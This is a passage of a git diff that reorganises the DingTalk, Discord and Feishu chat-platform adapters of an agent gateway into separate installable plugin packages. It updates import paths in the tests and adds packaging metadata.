DingTalkAdapter class FakeTextContent: content = "" @@ -541,7 +541,7 @@ class TestExtractText: def test_rich_text_content_new_shape(self): """SDK >= 0.20 exposes rich text as ``message.rich_text_content.rich_text_list``.""" - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter class FakeRichText: rich_text_list = [{"text": "hello "}, {"text": "world"}] @@ -555,7 +555,7 @@ class TestExtractText: def test_rich_text_legacy_shape(self): """Legacy ``message.rich_text`` list remains supported.""" - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter msg = MagicMock() msg.text = None msg.rich_text_content = None @@ -564,7 +564,7 @@ class TestExtractText: assert "legacy" in result and "rich" in result def test_empty_message(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter msg = MagicMock() msg.text = None msg.rich_text_content = None @@ -587,7 +587,7 @@ class TestExtractMedia: def test_voice_rich_text_item_classified_as_voice(self): """Native DingTalk voice notes (type=voice) must enter the auto-STT path via MessageType.VOICE — the gateway skips STT for AUDIO.""" - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter from gateway.platforms.base import MessageType msg = self._msg_with_rich_text( @@ -603,7 +603,7 @@ class TestExtractMedia: def test_audio_rich_text_item_stays_audio(self): """Generic audio uploads (e.g. an mp3 the user attached) must NOT be auto-transcribed — they stay MessageType.AUDIO.""" - from gateway.platforms.dingtalk import DingTalkAdapter, DINGTALK_TYPE_MAPPING + from hermes_agent_dingtalk import DingTalkAdapter, DINGTALK_TYPE_MAPPING from gateway.platforms.base import MessageType # Simulate a future/non-voice audio rich-text item by extending the @@ -644,7 +644,7 @@ def _make_gating_adapter(monkeypatch, *, extra=None, env=None): monkeypatch.delenv(key, raising=False) for key, value in (env or {}).items(): monkeypatch.setenv(key, value) - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter return DingTalkAdapter(PlatformConfig(enabled=True, extra=extra or {})) @@ -791,7 +791,7 @@ class TestIncomingHandlerProcess: @pytest.mark.asyncio async def test_process_extracts_session_webhook(self): """session_webhook must be populated from callback data.""" - from gateway.platforms.dingtalk import _IncomingHandler, DingTalkAdapter + from hermes_agent_dingtalk import _IncomingHandler, DingTalkAdapter adapter = DingTalkAdapter(PlatformConfig(enabled=True)) adapter._on_message = AsyncMock() @@ -824,7 +824,7 @@ class TestIncomingHandlerProcess: """If ChatbotMessage.from_dict does not map sessionWebhook (e.g. SDK version mismatch), the handler should fall back to extracting it directly from the raw data dict.""" - from gateway.platforms.dingtalk import _IncomingHandler, DingTalkAdapter + from hermes_agent_dingtalk import _IncomingHandler, DingTalkAdapter adapter = DingTalkAdapter(PlatformConfig(enabled=True)) adapter._on_message = AsyncMock() @@ -852,7 +852,7 @@ class TestIncomingHandlerProcess: async def test_process_returns_ack_immediately(self): """process() must not block on _on_message — it should return the ACK tuple before the message is fully processed.""" - from gateway.platforms.dingtalk import _IncomingHandler, DingTalkAdapter + from hermes_agent_dingtalk import _IncomingHandler, DingTalkAdapter processing_started = asyncio.Event() processing_gate = asyncio.Event() @@ -896,7 +896,7 @@ class TestExtractTextMentions: Stripping all @handles collateral-damages emails, SSH URLs, and literal references the user wrote. """ - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter cases = [ ("@bot hello", "@bot hello"), ("contact alice@example.com", "contact alice@example.com"), @@ -929,7 +929,7 @@ class TestMessageContextIsolation: def test_contexts_keyed_by_chat_id(self): """Two concurrent chats must not clobber each other's context.""" - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter adapter = DingTalkAdapter(PlatformConfig(enabled=True)) msg_a = MagicMock(conversation_id="chat-A", sender_staff_id="user-A") @@ -954,7 +954,7 @@ class TestCardLifecycle: @pytest.fixture def adapter_with_card(self): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter a = DingTalkAdapter(PlatformConfig( enabled=True, extra={"card_template_id": "tmpl-1"}, @@ -1145,7 +1145,7 @@ class TestDingTalkAdapterAICards: @pytest.mark.asyncio async def test_send_uses_ai_card_if_configured(self, config, mock_stream_client, mock_http_client, mock_message): - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter adapter = DingTalkAdapter(config) adapter._stream_client = mock_stream_client diff --git a/plugins/platforms/discord/adapter.py b/plugins/platforms/discord/adapter.py index efe0b5d1de7..89ad95f8353 100644 --- a/plugins/platforms/discord/adapter.py +++ b/plugins/platforms/discord/adapter.py @@ -88,7 +88,7 @@ def _clean_discord_id(entry: str) -> str: def check_discord_requirements() -> bool: """Check if Discord dependencies are available. - Lazy-installs discord.py via ``tools.lazy_deps.ensure("platform.discord")`` + Discord deps are installed via the hermes-agent-discord package on first call if not present. After successful install, re-binds module globals so ``DISCORD_AVAILABLE`` becomes True. """ @@ -96,8 +96,9 @@ def check_discord_requirements() -> bool: if DISCORD_AVAILABLE: return True try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("platform.discord", prompt=False) + import discord as _discord + from discord import Message as _DM, Intents as _Intents + from discord.ext import commands as _commands except Exception: return False try: @@ -2165,7 +2166,7 @@ class DiscordAdapter(BasePlatformAdapter): try: await asyncio.to_thread(VoiceReceiver.pcm_to_wav, pcm_data, wav_path) - from tools.transcription_tools import transcribe_audio + from hermes_agent_stt.transcription_tools import transcribe_audio result = await asyncio.to_thread(transcribe_audio, wav_path) if not result.get("success"): diff --git a/plugins/platforms/discord/pyproject.toml b/plugins/platforms/discord/pyproject.toml new file mode 100644 index 00000000000..9e3a2431006 --- /dev/null +++ b/plugins/platforms/discord/pyproject.toml @@ -0,0 +1,20 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "hermes-agent-discord" +version = "1.0.0" +description = "Discord gateway adapter for Hermes Agent" +requires-python = ">=3.11" +dependencies = [ + "hermes-agent", + "discord.py[voice]==2.7.1", + "brotlicffi==1.2.0.1", +] + +[project.entry-points."hermes_agent.plugins"] +discord = "hermes_agent_discord:register" + +[tool.setuptools.packages.find] +include = ["hermes_agent_discord*"] diff --git a/tests/gateway/test_discord_lazy_install_views.py b/plugins/platforms/discord/tests/test_discord_lazy_install_views.py similarity index 72% rename from tests/gateway/test_discord_lazy_install_views.py rename to plugins/platforms/discord/tests/test_discord_lazy_install_views.py index 2ed926e0f8f..c670fed6524 100644 --- a/tests/gateway/test_discord_lazy_install_views.py +++ b/plugins/platforms/discord/tests/test_discord_lazy_install_views.py @@ -1,12 +1,12 @@ -"""Regression: Discord UI view classes must be defined after lazy-install. +"""Regression: Discord UI view classes must be defined after package install. When discord.py is NOT installed at module load time, the -``if DISCORD_AVAILABLE:`` guard at the bottom of gateway/platforms/discord.py +``if DISCORD_AVAILABLE:`` guard at the bottom of the discord adapter evaluates to False and is skipped — leaving ExecApprovalView and its four siblings undefined in the module globals. check_discord_requirements() must call _define_discord_view_classes() after -a successful lazy install so that all view classes are available the moment +a successful import so that all view classes are available the moment DISCORD_AVAILABLE flips to True. Without this, the first button interaction (exec approval, slash confirm, etc.) raises NameError even though DISCORD_AVAILABLE=True. @@ -34,10 +34,10 @@ class TestDefineDiscordViewClasses: def test_registers_all_five_view_classes(self, monkeypatch): """Calling _define_discord_view_classes() must (re)define all 5 view classes.""" - dp = importlib.import_module("plugins.platforms.discord.adapter") + dp = importlib.import_module("hermes_agent_discord.adapter") # Remove the classes to simulate the state where the module was loaded - # with DISCORD_AVAILABLE=False (the lazy-install scenario). + # with DISCORD_AVAILABLE=False (the package-not-installed scenario). for name in _VIEW_NAMES: monkeypatch.delattr(dp, name) @@ -51,10 +51,10 @@ class TestDefineDiscordViewClasses: assert hasattr(dp, name), f"{name} must be defined after _define_discord_view_classes()" assert isinstance(getattr(dp, name), type), f"{name} must be a class" - def test_check_discord_requirements_calls_define_on_lazy_install(self, monkeypatch): + def test_check_discord_requirements_calls_define_on_import(self, monkeypatch): """check_discord_requirements() must call _define_discord_view_classes() on - a successful lazy install so view classes exist when DISCORD_AVAILABLE=True.""" - dp = importlib.import_module("plugins.platforms.discord.adapter") + a successful import so view classes exist when DISCORD_AVAILABLE=True.""" + dp = importlib.import_module("hermes_agent_discord.adapter") # Simulate discord not yet available at module load. monkeypatch.setattr(dp, "DISCORD_AVAILABLE", False) @@ -68,14 +68,12 @@ class TestDefineDiscordViewClasses: monkeypatch.setattr(dp, "_define_discord_view_classes", _spy_define) - # Patch lazy_deps.ensure to be a no-op (pretend install succeeds). # The discord imports inside check_discord_requirements() succeed because # _ensure_discord_mock() in conftest.py already registered the mock. - with patch("tools.lazy_deps.ensure"): - result = dp.check_discord_requirements() + result = dp.check_discord_requirements() - assert result is True, "check_discord_requirements() should return True after lazy install" + assert result is True, "check_discord_requirements() should return True after import" assert define_called[0], ( "check_discord_requirements() must call _define_discord_view_classes() " - "after a successful lazy install so view classes are not undefined" + "after a successful import so view classes are not undefined" ) diff --git a/plugins/platforms/feishu/__init__.py b/plugins/platforms/feishu/__init__.py new file mode 100644 index 00000000000..f57bd005c00 --- /dev/null +++ b/plugins/platforms/feishu/__init__.py @@ -0,0 +1,7 @@ +"""Bridge module — delegates plugin registration to hermes_agent_feishu.""" + + +def register(ctx): + """Plugin entry point — delegates to the inner hermes_agent_feishu package.""" + from hermes_agent_feishu import register as _inner_register + _inner_register(ctx) diff --git a/plugins/platforms/feishu/hermes_agent_feishu/__init__.py b/plugins/platforms/feishu/hermes_agent_feishu/__init__.py new file mode 100644 index 00000000000..c44dbf50295 --- /dev/null +++ b/plugins/platforms/feishu/hermes_agent_feishu/__init__.py @@ -0,0 +1,51 @@ +"""hermes-agent-feishu: Feishu/Lark platform adapter for Hermes Agent.""" + +from hermes_agent_feishu.adapter import ( # noqa: F401 + FeishuAdapter, + check_feishu_requirements, + FEISHU_AVAILABLE, + FEISHU_DOMAIN, + LARK_DOMAIN, + qr_register, + probe_bot, + normalize_feishu_message, + _run_official_feishu_ws_client, +) + + +def register(ctx): + """Entry point for the hermes_agent.plugins entry point group.""" + from hermes_agent_feishu import ( + FeishuAdapter, + check_feishu_requirements, + FEISHU_AVAILABLE, + FEISHU_DOMAIN, + LARK_DOMAIN, + qr_register, + probe_bot, + ) + + ctx.register_platform( + name="feishu", + label="Feishu / Lark", + adapter_factory=lambda cfg: FeishuAdapter(cfg), + check_fn=check_feishu_requirements, + install_hint="pip install 'hermes-agent[feishu]'", + emoji="🐦", + ) + + ctx.register_platform_entry( + name="feishu", + adapter_class=FeishuAdapter, + check_requirements=check_feishu_requirements, + available_flag="FEISHU_AVAILABLE", + constants={ + "FEISHU_AVAILABLE": FEISHU_AVAILABLE, + "FEISHU_DOMAIN": FEISHU_DOMAIN, + "LARK_DOMAIN": LARK_DOMAIN, + }, + helper_functions={ + "qr_register": qr_register, + "probe_bot": probe_bot, + }, + ) diff --git a/gateway/platforms/feishu.py b/plugins/platforms/feishu/hermes_agent_feishu/adapter.py similarity index 98% rename from gateway/platforms/feishu.py rename to plugins/platforms/feishu/hermes_agent_feishu/adapter.py index 2831476b5ba..c2258783f90 100644 --- a/gateway/platforms/feishu.py +++ b/plugins/platforms/feishu/hermes_agent_feishu/adapter.py @@ -1345,63 +1345,64 @@ def _run_official_feishu_ws_client(ws_client: Any, adapter: Any) -> None: def check_feishu_requirements() -> bool: """Check if Feishu/Lark dependencies are available. - Lazy-installs lark-oapi via ``tools.lazy_deps.ensure("platform.feishu")`` - on first call if not present. Rebinds all module-level globals on success. + Since this is a separate package, deps are guaranteed by the package + manager. Just verify the SDK can be imported. """ if FEISHU_AVAILABLE: return True - def _import(): - import lark_oapi as lark - from lark_oapi.api.application.v6 import GetApplicationRequest + try: + import lark_oapi as _lark + from lark_oapi.api.application.v6 import GetApplicationRequest as _GAR from lark_oapi.api.im.v1 import ( - CreateFileRequest, CreateFileRequestBody, - CreateImageRequest, CreateImageRequestBody, - CreateMessageRequest, CreateMessageRequestBody, - GetChatRequest, GetMessageRequest, GetMessageResourceRequest, - P2ImMessageMessageReadV1, - ReplyMessageRequest, ReplyMessageRequestBody, - UpdateMessageRequest, UpdateMessageRequestBody, + CreateFileRequest as _CFR, CreateFileRequestBody as _CFRB, + CreateImageRequest as _CIR, CreateImageRequestBody as _CIRB, + CreateMessageRequest as _CMR, CreateMessageRequestBody as _CMRB, + GetChatRequest as _GCR, GetMessageRequest as _GMR, GetMessageResourceRequest as _GMRR, + P2ImMessageMessageReadV1 as _P2, + ReplyMessageRequest as _RMR, ReplyMessageRequestBody as _RMRB, + UpdateMessageRequest as _UMR, UpdateMessageRequestBody as _UMRB, ) - from lark_oapi.core import AccessTokenType, HttpMethod - from lark_oapi.core.const import FEISHU_DOMAIN, LARK_DOMAIN - from lark_oapi.core.model import BaseRequest + from lark_oapi.core import AccessTokenType as _AT, HttpMethod as _HM + from lark_oapi.core.const import FEISHU_DOMAIN as _FD, LARK_DOMAIN as _LD + from lark_oapi.core.model import BaseRequest as _BR from lark_oapi.event.callback.model.p2_card_action_trigger import ( - CallBackCard, P2CardActionTriggerResponse, + CallBackCard as _CBC, P2CardActionTriggerResponse as _P2R, ) - from lark_oapi.event.dispatcher_handler import EventDispatcherHandler - from lark_oapi.ws import Client as FeishuWSClient - return { - "lark": lark, - "GetApplicationRequest": GetApplicationRequest, - "CreateFileRequest": CreateFileRequest, - "CreateFileRequestBody": CreateFileRequestBody, - "CreateImageRequest": CreateImageRequest, - "CreateImageRequestBody": CreateImageRequestBody, - "CreateMessageRequest": CreateMessageRequest, - "CreateMessageRequestBody": CreateMessageRequestBody, - "GetChatRequest": GetChatRequest, - "GetMessageRequest": GetMessageRequest, - "GetMessageResourceRequest": GetMessageResourceRequest, - "P2ImMessageMessageReadV1": P2ImMessageMessageReadV1, - "ReplyMessageRequest": ReplyMessageRequest, - "ReplyMessageRequestBody": ReplyMessageRequestBody, - "UpdateMessageRequest": UpdateMessageRequest, - "UpdateMessageRequestBody": UpdateMessageRequestBody, - "AccessTokenType": AccessTokenType, - "HttpMethod": HttpMethod, - "FEISHU_DOMAIN": FEISHU_DOMAIN, - "LARK_DOMAIN": LARK_DOMAIN, - "BaseRequest": BaseRequest, - "CallBackCard": CallBackCard, - "P2CardActionTriggerResponse": P2CardActionTriggerResponse, - "EventDispatcherHandler": EventDispatcherHandler, - "FeishuWSClient": FeishuWSClient, - "FEISHU_AVAILABLE": True, - } + from lark_oapi.event.dispatcher_handler import EventDispatcherHandler as _EDH + from lark_oapi.ws import Client as _FWSC + except ImportError: + return False - from tools.lazy_deps import ensure_and_bind - return ensure_and_bind("platform.feishu", _import, globals(), prompt=False) + globals().update({ + "lark": _lark, + "GetApplicationRequest": _GAR, + "CreateFileRequest": _CFR, + "CreateFileRequestBody": _CFRB, + "CreateImageRequest": _CIR, + "CreateImageRequestBody": _CIRB, + "CreateMessageRequest": _CMR, + "CreateMessageRequestBody": _CMRB, + "GetChatRequest": _GCR, + "GetMessageRequest": _GMR, + "GetMessageResourceRequest": _GMRR, + "P2ImMessageMessageReadV1": _P2, + "ReplyMessageRequest": _RMR, + "ReplyMessageRequestBody": _RMRB, + "UpdateMessageRequest": _UMR, + "UpdateMessageRequestBody": _UMRB, + "AccessTokenType": _AT, + "HttpMethod": _HM, + "FEISHU_DOMAIN": _FD, + "LARK_DOMAIN": _LD, + "BaseRequest": _BR, + "CallBackCard": _CBC, + "P2CardActionTriggerResponse": _P2R, + "EventDispatcherHandler": _EDH, + "FeishuWSClient": _FWSC, + "FEISHU_AVAILABLE": True, + }) + return True class FeishuAdapter(BasePlatformAdapter): @@ -2459,7 +2460,7 @@ class FeishuAdapter(BasePlatformAdapter): logging, and reaction. Scheduling follows the same ``run_coroutine_threadsafe`` pattern used by ``_on_message_event``. """ - from gateway.platforms.feishu_comment import handle_drive_comment_event + from .feishu_comment import handle_drive_comment_event loop = self._loop if not self._loop_accepts_callbacks(loop): diff --git a/gateway/platforms/feishu_comment.py b/plugins/platforms/feishu/hermes_agent_feishu/feishu_comment.py similarity index 99% rename from gateway/platforms/feishu_comment.py rename to plugins/platforms/feishu/hermes_agent_feishu/feishu_comment.py index 4d757cc7646..b117681df87 100644 --- a/gateway/platforms/feishu_comment.py +++ b/plugins/platforms/feishu/hermes_agent_feishu/feishu_comment.py @@ -1164,7 +1164,7 @@ async def handle_drive_comment_event( ) # Access control - from gateway.platforms.feishu_comment_rules import load_config, resolve_rule, is_user_allowed, has_wiki_keys + from .feishu_comment_rules import load_config, resolve_rule, is_user_allowed, has_wiki_keys comments_cfg = load_config() rule = resolve_rule(comments_cfg, file_type, file_token) diff --git a/gateway/platforms/feishu_comment_rules.py b/plugins/platforms/feishu/hermes_agent_feishu/feishu_comment_rules.py similarity index 100% rename from gateway/platforms/feishu_comment_rules.py rename to plugins/platforms/feishu/hermes_agent_feishu/feishu_comment_rules.py diff --git a/plugins/platforms/feishu/plugin.yaml b/plugins/platforms/feishu/plugin.yaml new file mode 100644 index 00000000000..1e22bd78696 --- /dev/null +++ b/plugins/platforms/feishu/plugin.yaml @@ -0,0 +1,6 @@ +name: feishu +version: 0.1.0 +description: Feishu/Lark platform adapter for Hermes Agent +kind: platform +provides_tools: [] +provides_hooks: [] diff --git a/plugins/platforms/feishu/pyproject.toml b/plugins/platforms/feishu/pyproject.toml new file mode 100644 index 00000000000..fb316b70816 --- /dev/null +++ b/plugins/platforms/feishu/pyproject.toml @@ -0,0 +1,20 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "hermes-agent-feishu" +version = "0.1.0" +description = "Feishu/Lark platform adapter for Hermes Agent" +requires-python = ">=3.11" +dependencies = [ + "hermes-agent", + "lark-oapi==1.5.3", + "qrcode==7.4.2", +] + +[project.entry-points."hermes_agent.plugins"] +feishu = "hermes_agent_feishu:register" + +[tool.setuptools.packages.find] +include = ["hermes_agent_feishu*"] diff --git a/plugins/platforms/feishu/tests/conftest.py b/plugins/platforms/feishu/tests/conftest.py new file mode 100644 index 00000000000..a07a76a840f --- /dev/null +++ b/plugins/platforms/feishu/tests/conftest.py @@ -0,0 +1,7 @@ +"""Shared fixtures for feishu plugin tests.""" + +import sys +from pathlib import Path + +# Make feishu_helpers importable from this test directory +sys.path.insert(0, str(Path(__file__).parent)) diff --git a/tests/gateway/feishu_helpers.py b/plugins/platforms/feishu/tests/feishu_helpers.py similarity index 97% rename from tests/gateway/feishu_helpers.py rename to plugins/platforms/feishu/tests/feishu_helpers.py index 753a61a70a8..11666b48f89 100644 --- a/tests/gateway/feishu_helpers.py +++ b/plugins/platforms/feishu/tests/feishu_helpers.py @@ -35,7 +35,7 @@ def make_adapter_skeleton( require_mention: bool = True, group_policy: str = "allowlist", ) -> Any: - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = object.__new__(FeishuAdapter) adapter._bot_open_id = bot_open_id diff --git a/tests/gateway/test_feishu.py b/plugins/platforms/feishu/tests/test_feishu.py similarity index 90% rename from tests/gateway/test_feishu.py rename to plugins/platforms/feishu/tests/test_feishu.py index 75f61923956..2a561c47adc 100644 --- a/tests/gateway/test_feishu.py +++ b/plugins/platforms/feishu/tests/test_feishu.py @@ -80,7 +80,7 @@ class TestConfigEnvOverrides(unittest.TestCase): class TestFeishuMessageNormalization(unittest.TestCase): def test_normalize_merge_forward_preserves_summary_lines(self): - from gateway.platforms.feishu import normalize_feishu_message + from hermes_agent_feishu.adapter import normalize_feishu_message normalized = normalize_feishu_message( message_type="merge_forward", @@ -110,7 +110,7 @@ class TestFeishuMessageNormalization(unittest.TestCase): ) def test_normalize_share_chat_exposes_summary_and_metadata(self): - from gateway.platforms.feishu import normalize_feishu_message + from hermes_agent_feishu.adapter import normalize_feishu_message normalized = normalize_feishu_message( message_type="share_chat", @@ -128,7 +128,7 @@ class TestFeishuMessageNormalization(unittest.TestCase): self.assertEqual(normalized.metadata["chat_name"], "Backend Guild") def test_normalize_interactive_card_preserves_title_body_and_actions(self): - from gateway.platforms.feishu import normalize_feishu_message + from hermes_agent_feishu.adapter import normalize_feishu_message normalized = normalize_feishu_message( message_type="interactive", @@ -171,7 +171,7 @@ class TestFeishuAdapterMessaging(unittest.TestCase): }, clear=True) def test_connect_webhook_mode_starts_local_server(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) runner = AsyncMock() @@ -183,14 +183,14 @@ class TestFeishuAdapterMessaging(unittest.TestCase): ) with ( - patch("gateway.platforms.feishu.FEISHU_AVAILABLE", True), - patch("gateway.platforms.feishu.FEISHU_WEBHOOK_AVAILABLE", True), - patch("gateway.platforms.feishu.EventDispatcherHandler") as mock_handler_class, - patch("gateway.platforms.feishu.acquire_scoped_lock", return_value=(True, None)), - patch("gateway.platforms.feishu.release_scoped_lock"), + patch("hermes_agent_feishu.adapter.FEISHU_AVAILABLE", True), + patch("hermes_agent_feishu.adapter.FEISHU_WEBHOOK_AVAILABLE", True), + patch("hermes_agent_feishu.adapter.EventDispatcherHandler") as mock_handler_class, + patch("hermes_agent_feishu.adapter.acquire_scoped_lock", return_value=(True, None)), + patch("hermes_agent_feishu.adapter.release_scoped_lock"), patch.object(adapter, "_hydrate_bot_identity", new=AsyncMock()), patch.object(adapter, "_build_lark_client", return_value=SimpleNamespace()), - patch("gateway.platforms.feishu.web", web_module), + patch("hermes_agent_feishu.adapter.web", web_module), ): _mock_event_dispatcher_builder(mock_handler_class) connected = asyncio.run(adapter.connect()) @@ -205,20 +205,20 @@ class TestFeishuAdapterMessaging(unittest.TestCase): }, clear=True) def test_connect_acquires_scoped_lock_and_disconnect_releases_it(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) ws_client = SimpleNamespace() with ( - patch("gateway.platforms.feishu.FEISHU_AVAILABLE", True), - patch("gateway.platforms.feishu.FEISHU_WEBSOCKET_AVAILABLE", True), - patch("gateway.platforms.feishu.lark", SimpleNamespace(LogLevel=SimpleNamespace(INFO="INFO", WARNING="WARNING"))), - patch("gateway.platforms.feishu.EventDispatcherHandler") as mock_handler_class, - patch("gateway.platforms.feishu.FeishuWSClient", return_value=ws_client), - patch("gateway.platforms.feishu._run_official_feishu_ws_client"), - patch("gateway.platforms.feishu.acquire_scoped_lock", return_value=(True, None)) as acquire_lock, - patch("gateway.platforms.feishu.release_scoped_lock") as release_lock, + patch("hermes_agent_feishu.adapter.FEISHU_AVAILABLE", True), + patch("hermes_agent_feishu.adapter.FEISHU_WEBSOCKET_AVAILABLE", True), + patch("hermes_agent_feishu.adapter.lark", SimpleNamespace(LogLevel=SimpleNamespace(INFO="INFO", WARNING="WARNING"))), + patch("hermes_agent_feishu.adapter.EventDispatcherHandler") as mock_handler_class, + patch("hermes_agent_feishu.adapter.FeishuWSClient", return_value=ws_client), + patch("hermes_agent_feishu.adapter._run_official_feishu_ws_client"), + patch("hermes_agent_feishu.adapter.acquire_scoped_lock", return_value=(True, None)) as acquire_lock, + patch("hermes_agent_feishu.adapter.release_scoped_lock") as release_lock, patch.object(adapter, "_hydrate_bot_identity", new=AsyncMock()), patch.object(adapter, "_build_lark_client", return_value=SimpleNamespace()), ): @@ -236,7 +236,7 @@ class TestFeishuAdapterMessaging(unittest.TestCase): return False try: - with patch("gateway.platforms.feishu.asyncio.get_running_loop", return_value=_Loop()): + with patch("hermes_agent_feishu.adapter.asyncio.get_running_loop", return_value=_Loop()): connected = asyncio.run(adapter.connect()) asyncio.run(adapter.disconnect()) finally: @@ -257,15 +257,15 @@ class TestFeishuAdapterMessaging(unittest.TestCase): }, clear=True) def test_connect_rejects_existing_app_lock(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) with ( - patch("gateway.platforms.feishu.FEISHU_AVAILABLE", True), - patch("gateway.platforms.feishu.FEISHU_WEBSOCKET_AVAILABLE", True), + patch("hermes_agent_feishu.adapter.FEISHU_AVAILABLE", True), + patch("hermes_agent_feishu.adapter.FEISHU_WEBSOCKET_AVAILABLE", True), patch( - "gateway.platforms.feishu.acquire_scoped_lock", + "hermes_agent_feishu.adapter.acquire_scoped_lock", return_value=(False, {"pid": 4321}), ), ): @@ -282,22 +282,22 @@ class TestFeishuAdapterMessaging(unittest.TestCase): }, clear=True) def test_connect_retries_transient_startup_failure(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) ws_client = SimpleNamespace() sleeps = [] with ( - patch("gateway.platforms.feishu.FEISHU_AVAILABLE", True), - patch("gateway.platforms.feishu.FEISHU_WEBSOCKET_AVAILABLE", True), - patch("gateway.platforms.feishu.lark", SimpleNamespace(LogLevel=SimpleNamespace(INFO="INFO", WARNING="WARNING"))), - patch("gateway.platforms.feishu.EventDispatcherHandler") as mock_handler_class, - patch("gateway.platforms.feishu.FeishuWSClient", return_value=ws_client), - patch("gateway.platforms.feishu.acquire_scoped_lock", return_value=(True, None)), - patch("gateway.platforms.feishu.release_scoped_lock"), + patch("hermes_agent_feishu.adapter.FEISHU_AVAILABLE", True), + patch("hermes_agent_feishu.adapter.FEISHU_WEBSOCKET_AVAILABLE", True), + patch("hermes_agent_feishu.adapter.lark", SimpleNamespace(LogLevel=SimpleNamespace(INFO="INFO", WARNING="WARNING"))), + patch("hermes_agent_feishu.adapter.EventDispatcherHandler") as mock_handler_class, + patch("hermes_agent_feishu.adapter.FeishuWSClient", return_value=ws_client), + patch("hermes_agent_feishu.adapter.acquire_scoped_lock", return_value=(True, None)), + patch("hermes_agent_feishu.adapter.release_scoped_lock"), patch.object(adapter, "_hydrate_bot_identity", new=AsyncMock()), - patch("gateway.platforms.feishu.asyncio.sleep", side_effect=lambda delay: sleeps.append(delay)), + patch("hermes_agent_feishu.adapter.asyncio.sleep", side_effect=lambda delay: sleeps.append(delay)), patch.object(adapter, "_build_lark_client", return_value=SimpleNamespace()), ): _mock_event_dispatcher_builder(mock_handler_class) @@ -321,7 +321,7 @@ class TestFeishuAdapterMessaging(unittest.TestCase): fake_loop = _Loop() try: - with patch("gateway.platforms.feishu.asyncio.get_running_loop", return_value=fake_loop): + with patch("hermes_agent_feishu.adapter.asyncio.get_running_loop", return_value=fake_loop): connected = asyncio.run(adapter.connect()) finally: loop.close() @@ -333,7 +333,7 @@ class TestFeishuAdapterMessaging(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_edit_message_updates_existing_feishu_message(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) captured = {} @@ -354,7 +354,7 @@ class TestFeishuAdapterMessaging(unittest.TestCase): async def _direct(func, *args, **kwargs): return func(*args, **kwargs) - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run( adapter.edit_message( chat_id="oc_chat", @@ -375,7 +375,7 @@ class TestFeishuAdapterMessaging(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_edit_message_falls_back_to_text_when_post_update_is_rejected(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) captured = {"calls": []} @@ -398,7 +398,7 @@ class TestFeishuAdapterMessaging(unittest.TestCase): async def _direct(func, *args, **kwargs): return func(*args, **kwargs) - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run( adapter.edit_message( chat_id="oc_chat", @@ -418,7 +418,7 @@ class TestFeishuAdapterMessaging(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_get_chat_info_uses_real_feishu_chat_api(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) @@ -442,7 +442,7 @@ class TestFeishuAdapterMessaging(unittest.TestCase): async def _direct(func, *args, **kwargs): return func(*args, **kwargs) - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): info = asyncio.run(adapter.get_chat_info("oc_chat")) self.assertEqual(chat_api.request.chat_id, "oc_chat") @@ -452,7 +452,7 @@ class TestFeishuAdapterMessaging(unittest.TestCase): class TestAdapterModule(unittest.TestCase): def test_load_settings_uses_sdk_defaults_for_invalid_ws_reconnect_values(self): - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter settings = FeishuAdapter._load_settings( { @@ -465,7 +465,7 @@ class TestAdapterModule(unittest.TestCase): self.assertEqual(settings.ws_reconnect_interval, 120) def test_load_settings_accepts_custom_ws_reconnect_values(self): - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter settings = FeishuAdapter._load_settings( { @@ -478,7 +478,7 @@ class TestAdapterModule(unittest.TestCase): self.assertEqual(settings.ws_reconnect_interval, 3) def test_load_settings_accepts_custom_ws_ping_values(self): - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import 